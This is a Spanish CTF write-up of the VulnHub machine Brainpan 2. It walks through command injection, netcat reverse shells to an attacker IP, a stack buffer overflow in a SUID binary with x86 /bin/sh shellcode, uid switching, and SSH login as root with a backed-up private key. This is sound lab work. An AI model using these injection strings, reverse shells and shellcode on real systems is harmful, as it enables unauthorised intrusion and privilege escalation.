xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



VulnHub

Brainpan 2



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde solo vemos 2 puertos abiertos, 9999 y 10000 igual que en la maquina brainpan 1

❯ nmap 192.168.100.63  
Nmap scan report for 192.168.100.63
PORT      STATE    SERVICE
9999/tcp  open     abyss
10000/tcp open     snet-sensor-mgmt

En la web del puerto 10000 encontramos una página sin nada realmente interesante

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.63:10000/FUZZ -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.100.63:10000/FUZZ
Total requests: 4715

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000855:   301        0 L      0 W        0 Ch        "bin"

En el directorio /bin de la web encontramos un archivo llamado brainpan.exe sin embargo al descargarlo vemos que no es un binario sino una simple imagen

❯ file brainpan.exe
brainpan.exe: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85", baseline, precision 8, 381x307, components 3  

Al conectarnos con netcat al puerto 9999 nos devuelve el mismo banner de simplemente 2.0, el programa nos dice que nos autentiquemos como GUEST

❯ netcat 192.168.100.63 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[______________________ WELCOME TO BRAINPAN 2.0________________________]  
                             LOGIN AS GUEST                             

                          >>

Después de enviar GUEST nos otorga acceso que nos pide enviar TELL ME MORE para ver mas opciones, donde encontramos varias que llaman bastante la atencion

                          >> GUEST
                          ACCESS GRANTED


                             *  *  *  *                                
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.  
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.  
                             *  *  *  *                                


                          >> TELL ME MORE
    FILES    HELP    VIEW       CREATE
    USERS    MSG     SYSTEM     BYE

                          >>


Shell - anansi


Enviando FILES podemos ver los archivos como si estuvieramos ejecutando un ls

                          >> FILES
total 36
-rwxr-xr-x 1 root   root   18424 Nov  4  2013 brainpan.exe  
-rw-r--r-- 1 root   root    1109 Nov  5  2013 brainpan.txt  
-rw-r--r-- 1 root   root     683 Nov  4  2013 notes.txt
-rw-r--r-- 1 anansi anansi    12 Nov  5  2013 test-1
-rwxrwxrwx 1 anansi anansi    19 Nov  5  2013 test-2
                          >>

Usando el comando VIEW nos pide un archivo al cual probablemente hace un cat

                          >> VIEW
    ENTER FILE TO DOWNLOAD: /etc/hosts
127.0.0.1	localhost
127.0.1.1	brainpan2

# The following lines are desirable for IPv6 capable hosts  
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
                          >>

En el archivo a leer enviamos test y adjuntamos un ; id para ejecutar otro comando, en el output podemos ver que ejecuta el comando como el usuario anansi

                          >> VIEW
    ENTER FILE TO DOWNLOAD: test; id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)  
                          >>

Ya que ejecutamos comandos en VIEW, nos enviamos una reverse shell con netcat

                          >> VIEW
    ENTER FILE TO DOWNLOAD: test; netcat -e /bin/sh 192.168.100.85 443  

Al hacerlo recibimos una shell como el usuario anansi en nuestro listener de netcat que curiosamente pertenece al grupo staff que por ahora no nos sirve de nada

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.63 
script /dev/null -c bash
anansi@brainpan2:/opt/brainpan$ id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)  
anansi@brainpan2:/opt/brainpan$ hostname -I
192.168.100.63 
anansi@brainpan2:/opt/brainpan$


Shell - root


Buscando por ejecutables con privilegios suid encontramos uno personalizado que llama algo la atención, y es msg_root el cual pertenece al usuario y grupo root

anansi@brainpan2:~$ find / -perm -u+s 2>/dev/null
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/umount
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/home/reynard/msg_root
anansi@brainpan2:~$ ls -l /home/reynard/msg_root
-rwsr-xr-x 1 root root 8999 Nov  6  2013 /home/reynard/msg_root  
anansi@brainpan2:~$

El programa pide como argumento un usuario y un mensaje, sin embargo incluso pasandole los argumentos no queda muy claro cual es su funcion o que hace

anansi@brainpan2:~$ /home/reynard/msg_root
usage: msg_root username message
anansi@brainpan2:~$ /home/reynard/msg_root username message  
Your message is message
anansi@brainpan2:~$

Para decompilarlo y analizarlo mejor podemos enviarlo a nuestro equipo con netcat

anansi@brainpan2:~$ netcat 192.168.100.85 4444 < /home/reynard/msg_root  
anansi@brainpan2:~$

❯ netcat -lvnp 4444 > msg_root
Listening on 0.0.0.0 4444
Connection received on 192.168.100.63  

Usando ida podemos decompilar el binario y ver su pseudocodigo escrito en C

La función main comprueba que el programa reciba 2 argumentos, si pasa la comprobación llama a la función get_name pasandole los 2 argumentos recibidos

int __cdecl main(int argc, const char **argv, const char **envp)  
{
  if ( argc <= 2 )
  {
    puts("usage: msg_root username message");
    exit(0);
  }
  get_name((char *)argv[1], (char *)argv[2]);
  return 0;
}

Resumiendo la función get_name recibe los argumentos, define un buffer de solo 10 bytes para el primero que es username, y despues dentro de un if usa la función strcpy, la cual es conocida por ser usada en programas vulnerable a Buffer Overflow

void __cdecl get_name(char *param_1, char *param_2)  
{
  int len; // eax
  char username[10]; // [esp+Eh] [ebp-12h] BYREF
  char *message; // [esp+18h] [ebp-8h]
  void (*fp)(char *, char *); // [esp+1Ch] [ebp-4h]

  fp = save_msg;
  if ( (unsigned int)strlen(param_1) > 17 )
    strncpy(username, param_1, 18);
  else
    strcpy(username, param_1);
  message = (char *)malloc(2000);
  len = strlen(param_2);
  strncpy(message, param_2, len);
  save_message(username, message);
  free(message);
}

La función save_msg simplemente guarda el mensaje en el archivo /tmp/msg.txt

void __cdecl save_msg(char *username, char *message)  
{
  FILE *file; // [esp+10h] [ebp-4h]

  printf("Your message is %s\n", message);
  file = (FILE *)fopen("/tmp/msg.txt", "a");
  fprintf(file, "%s: %s\n", username, message);
  fclose(file);
}

anansi@brainpan2:~$ cat /tmp/msg.txt  
username: message
anansi@brainpan2:~$

Antes de explotar el Buffer Overflow podemos ver las protecciones del binario con checksec, no tiene ninguna habilitada lo que facilitara bastante la explotacion

❯ checksec msg_root
[*] '/home/kali/msg_root'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)  
    RWX:      Has RWX segments

Para buscar el offset podemos abrir gdb y crear un patron de caracteres de 20 bytes que pasaremos como el primer argumento username que es el vulnerable, en el segundo podemos enviar cualquier cosa, corremos el programa y este se corrompe

❯ gdb -q msg_root
Reading symbols from msg_root...
pwndbg> cyclic 20
aaaabaaacaaadaaaeaaa
pwndbg> run aaaabaaacaaadaaaeaaa message
Starting program: /home/kali/msg_root aaaabaaacaaadaaaeaaa message
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".  

Program received signal SIGSEGV, Segmentation fault.
0x61656161 in ?? ()
pwndbg>

Ahora con gdb buscamos el offset que son la cantidad de bytes necesarios antes de llegar a sobreescribir el registro EIP que espera la siguiente instruccion

pwndbg> cyclic -l $eip
Finding cyclic pattern of 4 bytes: b'aaea' (hex: 0x61616561)  
Found at offset 14
pwndbg>

Aunque tenemos varias direcciones que llaman a EAX no podemos explotarlo de esa forma ya que tendriamos un espacio de solo 14 bytes para nuestro shellcode

❯ ropper --file msg_root --jmp eax  

JMP Instructions
================

0x080485a7: call eax;
0x0804862f: call eax;
0x0804872c: call eax;
0x080488bf: jmp eax;

4 gadgets found

Sin embargo podemos apuntar a una direccion de una variable con el shellcode, para esto tendramos que compilar y subir un compilado que extraiga la direccion

❯ curl -s https://raw.githubusercontent.com/intere/hacking/master/booksrc/getenvaddr.c -o getenvaddr.c  

❯ gcc -m32 getenvaddr.c -o getenvaddr -static

❯ sudo python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

anansi@brainpan2:~$ wget 192.168.100.85/getenvaddr
anansi@brainpan2:~$ chmod +x getenvaddr 
anansi@brainpan2:~$ ./getenvaddr 
Usage: ./getenvaddr <environment variable> <target program name>  
anansi@brainpan2:~$

Iniciamos definiendo un shellcode en x86 que nos ejecute una /bin/sh al interpretarse en la variable $SHELLCODE, despues ejecutamos el compilado que nos pide el nombre de la varible y la ruta del binario a explotar, obtenemos la direccion

anansi@brainpan2:~$ export SHELLCODE=$(python2 -c 'print("\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80")')  
anansi@brainpan2:~$ ./getenvaddr SHELLCODE /home/reynard/msg_root
SHELLCODE will be at 0xbffff9f8
anansi@brainpan2:~$

La idea sera rellenar con A's hasta llegar al EIP, y ahi enviar la direccion de la variable que contiene el shellcode, que al interpretarse nos dara una /bin/sh

Como estamos en little endian tenemos que darle la vuelta a la direccion 0xbffff9f8 en pares de 2 que quedaria como \xf8\xf9\xff\xbf, al explotar el Buffer Overflow obtenemos una shell como el propietario que es root, pero en un $ en lugar de #

anansi@brainpan2:~$ /home/reynard/msg_root $(python2 -c 'print("A"*14 + "\xf8\xf9\xff\xbf")') message  
$ whoami
root
$ hostname -I
192.168.100.63 
$


Shell - puck


Si intentamos leer la flag en el directorio /root nos devuelve permiso denegado y el archivo whatif.txt nos confirma con un mensaje que aun no somos el usuario root

$ cd /root
$ ls -l
-rw------- 1 root  root  461 Nov  5  2013 flag.txt  
-rw------- 1 root  root  245 Nov  5  2013 whatif.txt  
$ cat flag.txt
cat: flag.txt: Permission denied
$ cat whatif.txt

       WHAT IF I TOLD YOU
              ___
            /     \ 
           | ______\
          (, \_/ \_/
           |   ._. |
           \   --- /
           /`-.__.'
      .---'`-.___|\___
     /                `.

       YOU ARE NOT ROOT?

$

Filtrando por la cadena root en el archivo /etc/passwd podemos encontrar a 2 usuarios root con el id 104 y root con un espacio que es el id 0 que queremos

$ grep root /etc/passwd
root:x:104:106:root:/root:/bin/bash  
root :x:0:0:root:/var/root:/bin/bash  
$

Para evitar conflictos, con python haremos que nuestro uid y gid sea igual a 104, despues nos lanzamos una bash que puede llegar a ser un poco mas interactiva

$ python2
Python 2.7.3
>>> import os
>>> os.setreuid(104, 104)
>>> os.system("bash")
root@brainpan2:~$ whoami
root
root@brainpan2:~$ hostname -I  
192.168.100.63 
root@brainpan2:~$

Volvemos a listar binarios con privilegios suid, y encontramos un brainpan-1.8.exe

root@brainpan2:~$ find / -perm -u+s 2>/dev/null  
/opt/old/brainpan-1.8/brainpan-1.8.exe
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/umount
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/home/reynard/msg_root
root@brainpan2:~$

El binario pertenece al usuario puck, en ese directorio tambien existe un archivo brainpan.cfg en el cual cualquier usuario permisos rw- por lo que puede escribir

root@brainpan2:/opt/old/brainpan-1.8$ ls -l
-rwsr-xr-x 1 puck puck  17734 Nov  4  2013 brainpan-1.8.exe  
-rw-r--r-- 1 puck puck   1227 Nov  5  2013 brainpan.7
-rw-rw-rw- 1 puck staff    25 Jul 25 16:13 brainpan.cfg
root@brainpan2:/opt/old/brainpan-1.8$

El archivo cfg contiene un puerto y una direccion ip, y parece que esta es la conifuracion que usa como listener el binario brainpan-1.8.exe al ejecutarlo

root@brainpan2:/opt/old/brainpan-1.8$ cat brainpan.cfg
port=9333
ipaddr=127.0.0.1
root@brainpan2:/opt/old/brainpan-1.8$ ./brainpan-1.8.exe  
port = 9333
ipaddr = 127.0.0.1
+ bind done
+ waiting for connections...

Ya que podemos escribir en el archivo cfg cambiamos la variable ipaddr por 0.0.0.0 para que podamos acceder al puerto 9333 desde nuestro equipo de atacante

root@brainpan2:/opt/old/brainpan-1.8$ echo -e "port=9333\nipaddr=0.0.0.0" > brainpan.cfg  
root@brainpan2:/opt/old/brainpan-1.8$ cat brainpan.cfg
port=9333
ipaddr=0.0.0.0
root@brainpan2:/opt/old/brainpan-1.8$ ./brainpan-1.8.exe
port = 9333
ipaddr = 0.0.0.0
+ bind done
+ waiting for connections...

Al conectarnos al puerto 9333 podemos ver que corre el mismo servicio del inicio

❯ netcat 192.168.100.63 9333
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[______________________ WELCOME TO BRAINPAN 1.8________________________]  
                             LOGIN AS GUEST                             

                          >>

Sabemos que podemos ejecutar comandos, asi que volvemos a hacer el proceso de autenticarnos como GUEST y aprovechandonos de VIEW nos enviamos una shell

                          >> GUEST
                          ACCESS GRANTED


                             *  *  *  *                                
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.  
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.  
                             *  *  *  *                                


                          >> VIEW
    ENTER FILE TO DOWNLOAD: test; netcat -e /bin/sh 192.168.100.85 443  

Al hacerlo recibimos nuevamente una shell esta vez como puck, al lanzarnos una bash usaremos el parametro -p ya que estamos bajo el contexto del binario suid

❯ sudo netcat -lvnp 443 
Listening on 0.0.0.0 443
Connection received on 192.168.100.63
script /dev/null -c "bash -p"
bash-4.2$ whoami
puck
bash-4.2$ hostname -I
192.168.100.63 
bash-4.2$


Shell - root 2


Nuevamente con python actualizamos nuestro uid y gid por 1001 correspondiente a puck, para asi obtener una shell que no tendra problemas por el identificador

bash-4.2$ python2 
Python 2.7.3
>>> import os
>>> os.setreuid(1001, 1001)
>>> os.system("bash")
puck@brainpan2:~$ whoami 
puck
puck@brainpan2:~$ hostname -I  
192.168.100.63 
puck@brainpan2:~$

Al listar todos los archivos existentes partiendo del home de puck encontramos un clave privada id_rsa dentro de un directorio oculto que es ~/.backup/.ssh/

puck@brainpan2:~$ find
.
./.ssh
./.ssh/known_hosts
./.ssh/id_rsa.pub
./.ssh/id_rsa
./.profile
./.bash_history
./.backup
./.backup/.ssh
./.backup/.ssh/id_rsa.pub  
./.backup/.ssh/id_rsa
./.backup/.profile
./.backup/.bash_history
./.backup/.bashrc
./.backup/.bash_logout
./.bashrc
./.bash_logout
puck@brainpan2:~$

Al intentar conectarnos como el usuario root correspondiente al uid 0 al localhost nos dice que no tenemos conexion con el servicio ssh desde la 127.0.0.1:22

puck@brainpan2:~$ ssh "root "@127.0.0.1 -i .backup/.ssh/id_rsa  
ssh: connect to host 127.0.0.1 port 22: Connection refused
puck@brainpan2:~$

Si vemos la configuracion de ssh vemos que el servicio corre en 127.0.1.1:2222

puck@brainpan2:~$ grep -vE '^$|^#' /etc/ssh/sshd_config | head -n2  
Port 2222
ListenAddress 127.0.1.1
puck@brainpan2:~$

Nos conectamos como el usuario root a la 127.0.1.1 por el puerto 22 usando la id_rsa para autenticarnos y obtenemos una shell como el root que tiene el uid 0

puck@brainpan2:~$ ssh "root "@127.0.1.1 -p 2222 -i .backup/.ssh/id_rsa  
root @brainpan2:~# id
uid=0(root ) gid=0(root ) groups=0(root )
root @brainpan2:~# hostname -I
192.168.100.63 
root @brainpan2:~# cat /root/flag.txt 

                          !!! CONGRATULATIONS !!!

                 You've completed the Brainpan 2 challenge! 
                 Or have you...? 

                 Yes, you have! Pat yourself on the back. :-)

                 Questions, comments, suggestions for new VM
                 challenges? Let me know! 


                 Twitter: @superkojiman
                 Email  : contact@techorganic.com
                 Web    : http://www.techorganic.com

root @brainpan2:~#